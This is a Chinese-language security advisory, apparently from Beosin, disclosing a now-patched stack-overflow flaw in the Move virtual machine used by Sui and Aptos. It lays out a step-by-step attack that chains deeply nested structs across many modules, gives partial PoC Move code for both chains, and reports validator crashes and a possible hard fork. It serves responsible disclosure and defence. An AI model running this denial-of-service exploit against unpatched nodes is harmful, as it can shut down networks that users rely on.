一個小小的遞歸函數調用,就導致棧溢出,而棧溢出又導致整個網路崩潰(total network shutdown),再利用一些攻擊手段,很可能使區塊鏈產生硬分叉。

作者: Poet,Beosin 安全專家

封面: Photo by Armand Khoury on Unsplash

目前該漏洞已被官方修復。 Suimainnet_v1.2.1、Aptosmainnet_v1.4.3、Move 語言 2023 年 6 月 10 日之後的版本修復了此漏洞。

前言

Move 是一個新的區塊鏈語言,被 Aptos、Sui 等公鏈使用。 近期我們 Beosin 安全研究團隊發現了一個遞歸調用導致的棧溢出漏洞,這個漏洞可以導致整個網路崩潰(total network shutdown),還會導致新的 validator 無法加入到網路中,甚至可能會導致硬分叉!
我們在發現並驗證這個漏洞后,第一時間(2023 年 5 月 30 日)通過郵件與 Sui 團隊取得聯繫,隨後在他們的建議下,將漏洞提交到了 Immunefi 漏洞賞金平臺(2023 年 6 月 2 日)。

Beosin 團隊 5 月 30 日已聯繫 Sui 團隊

不過在我們提交漏洞之後,官方團隊回復稱他們於一個月前內部發現了該問題,並在秘密進行安全修復,並於我們提交 immunefi 的當天發佈了修復版本(2023 年 6 月 2 日)。  我們理解並尊重他們的回復。

當前版本該漏洞已修復,所以我們現在公開我們的研究發現。 作為區塊鏈安全行業的領先者,我們持續關注區塊鏈生態的安全。

知識前提

Move 虛擬機是由 Rust 語言編寫實現。 Move 代碼組織(和分發)的主要單位是 Package。 Package 由一組 module 組成,這些 module 定義在單獨的檔中,擴展名為 .move。 這些檔包括 Move 函數和類型定義。

最小包源目錄結構如下所示,包含清單檔、鎖定檔和一個或多個模組檔所在的 sources 子目錄:

my_move_package:
├── Move.lock
├── Move.toml
├── sources
├── my_module.move

Package 可以被 Publish 到区块链上。一个 Package 可以包含多个 Module,一个 Module 可以包含多个函数、结构体。

函数的参数可以是结构体,结构体可以内嵌其他结构体,如下所示:

module helloworld::hello {    struct CCC {         c : u64    }}
module my_module::my_module{ struct BBB { b : helloworld::hello::CCC }
struct AAA { a : BBB }
public fun mint( c_param : helloworld::hello::CCC ){ let a1 = AAA { a : BBB { b : c_param } };
let a2 = AAA { a : BBB { b : helloworld::hello::CCC { c : 0x555 } } }; }}

在 Rust 编程语言里面,递归函数调用的时候,如果没有限制调用深度,会导致栈溢出或者 cpu、内存等资源的耗尽。Move 虚拟机正是由 Rust 语言编写。

漏洞描述

在 Move 虚拟机里面,为了处理各种结构化数据(比如序列化数据、结构体嵌套、数组嵌套、泛型嵌套),经常会用到递归函数。为了防止由于递归调用导致的栈溢出,需要对递归调用的深度进行检查。如下所示:

上面的图片是 Move 虚拟机限制简单和复杂类型结构的解析深度 

上面的图片是 Move 虚拟机对字节码里面 SIGNATURE_TOKEN 深度的限制。

尽管 Move 虚拟机在很多地方都有递归调用深度检查,但是它仍然有某些情况没有考虑到。

我们现在考虑一种攻击方式:定义一个 struct A,然后 A 嵌套 struct B,然后 B 嵌套 struct C…. 这样一直嵌套下去,如果 Move 虚拟机是用一个递归函数来处理这种嵌套关系,那么 Move 虚拟机会因为栈溢出或者资源不足而崩溃。尽管 Move 对每个 module 可以定义的 struct 数量有限制,但是我们可以创建无数个 module。

这样我们就有了攻击思路:

1、生成 25 个(完全可以比 25 多)package,每个 package 包含 1 个 module

2、每个 module 里面定义 64 个(Aptos 里面可以比 64 多)有链式嵌套关系的 struct,每个 module 里的第一个 struct,嵌套上一个 module 里面的最后一个 struct。

3、每个 module 里面包含一个可调用的 entry 函数。这个函数接受一个参数,这个参数类型是上一个 module 的最后一个 struct(第 64 个 struct)。这个函数创建并返回本 module 的最后一个 struct 实例(第 64 个 struct)

4、按照顺序 publish 每个 package

5、按照顺序调用每个 module 里面的 entry 函数

针对 Sui mainnet_v1.1.1_,我们测试后发现如下现象(我们的测试环境有 4 个 validator):

1、运行一次 poc 之后,4 个 validator 会因为栈溢出马上崩溃

2、至少 3 个 validator 崩溃重启后,所有的 fullnode 会崩溃

3、至少 3 个 validator 崩溃重启后,新的 validator 加入时会崩溃至少 1 次

4、至少 3 个 validator 崩溃重启后,新的 fullnode 加入时有时候会崩溃 1 次

5、如果运气好的话,某些 validator、fullnode 崩溃后无法重启,只有删除本地所有数据库,才能重启 

针对 Sui mainnet_v1.2.0,我们测试后发现如下现象(我们的测试环境有 4 个 validator):

1、运行一次 poc 之后,至少有 1 个 validator 会因为栈溢出或者 out of memory 而崩溃;

2、再次运行一次 poc,可以让第 2 个 validator 崩溃。然后整个网络无法接受新的交易;

3、崩溃后的 validator 有可能无法重启。删除这个 validator 的所有本地数据库,然后运行它,它会在一段时间后崩溃,而且再也无法重启;

4、新的 validator 加入网络的时候,会崩溃。

   我们简单测试了 Aptos,发现 Aptos 也会崩溃:

PoC

Sui 链的 PoC

module hello_world_2::hello{   use std::string;   use sui::object::{Self, UID};   use sui::transfer;   use sui::tx_context::{Self, TxContext};
struct T_0 has key,store{ id : UID, m : hello_world_1::hello::T_63 } struct T_1 has key,store{ id : UID, m : T_0 }
........other not printed.........
struct T_62 has key,store{ id : UID, m : T_61 } struct T_63 has key,store{ id : UID, m : T_62 } public entry fun mint(previous: hello_world_1::hello::T_63 ,ctx: &mut TxContext) { let object = T_63{ id: object::new(ctx), m : T_62{ id: object::new(ctx), m : T_61{ id: object::new(ctx),
........other not printed.........
m : T_1{ id: object::new(ctx), m : T_0{ id: object::new(ctx), m : previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}; transfer::transfer(object, tx_context::sender(ctx)); }}

每创建一个这样的 module,就 Publish 到 Sui 链上,并调用 mint 函数,获取它创建的”object”,同时将”object” 作为参数传递给下一个 module 的 mint 函数,直到 Sui 节点崩溃

Aptos 链的 PoC

module Test2::test_module2{    struct Struct0  has key,store,drop {    m : Test1::test_module1::Struct200  }  struct Struct1  has key,store,drop{    m : Struct0   }  ........other not printed.........
struct Struct199 has key,store,drop{ m : Struct198 } struct Struct200 has key,store,drop{ m : Struct199 } public entry fun mint(_account : signer){ let previous0 = 5554444; let previous1 = Test0::test_module0::test_function(previous0); let previous2 = Test1::test_module1::test_function(previous1); let _current = test_function(previous2); } public fun test_function(previous : Test1::test_module1::Struct200) : Struct200{ let object = Struct200{ m:Struct199{........other not printed......... m:Struct1{ m:Struct0{ m:previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}; object }}

每创建一个这样的 module,就 Publish 到 Aptos 链上,并调用 mint 函数,直到 Aptos 节点崩溃。

漏洞修复

Sui mainnet_v1.2.1(2023 年 6 月 2 号)、Aptos mainnet_v1.4.3(2023 年 6 月 3 号)、Move 语言 2023 年 6 月 10 日之后的版本修复了此漏洞。

Sui 补丁代码:

https://github.com/MystenLabs/sui/commit/8b681515c0cf435df2a54198a28ab4ef574d202b

补丁代码在创建 struct、vec、generic 的地方,对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。

Aptos 补丁代码:

https://github.com/aptos-labs/aptos-core/commit/47a0391c612407fe0b1051ef658a29e35d986963

和 Sui 一样,补丁代码在创建 struct、vec、generic 的地方,对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。

Move 语言补丁代码:

https://github.com/move-language/move/commit/8f5303a365cf9da7554f8f18c393b3d6eb4867f2

和 Sui、Aptos 一样,补丁代码在创建 struct、vec、generic 的地方,对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。

漏洞影响

这个漏洞利用非常简单,而且一次攻击消耗的 gas 也非常小。但是该漏洞的影响非常大,可以导致整个网络崩溃(total network shutdown),还会让新的 validator 无法加入到网络中,甚至可能导致硬分叉(hard fork)。Sui mainnet_v1.2.1、Aptos mainnet_v1.4.3 以前的版本都受此漏洞影响。

为什么这个漏洞有可能会导致硬分叉?

1、恶意攻击者可以创建任意深度的结构体嵌套关系,并将这些恶意 struct 部署到链上。然后针对这些结构体发送一些不可改变的恶意交易,虽然这个过程中可能会导致网络崩溃,但是部分恶意交易还是会被已经被部署到链上了。

2、为了修补这个漏洞,我们可以限制递归调用的深度。但是这样我们就再也无法引用已经部署到区块链上的的恶意结构体,也无法在虚拟机里面验证与恶意 struct 相关的历史交易。只有硬分叉才能解决这种问题。
3、由于导致硬分叉的测试对现行网络影响过于严重,我们放弃了该测试,但理论上我们认为可行。

总结

一個小小的遞歸函數調用,就導致棧溢出,而棧溢出又導致整個網路崩潰(total network shutdown),再利用一些攻擊手段,很可能使區塊鏈產生硬分叉。 所以,區塊鏈的安全是永遠排在第一位的。 我們建議專案方要多注意這種類型的漏洞,最好是找專業的區塊鏈安全機構進行全面的審計。

免責聲明:作為區塊鏈資訊平臺,本站所發佈文章僅代表作者及嘉賓個人觀點,與 Web3Caff 立場無關。 本文內容僅用於資訊分享,均不構成任何投資建議及要約,並請您遵守所在國家或地區的相關法律法規。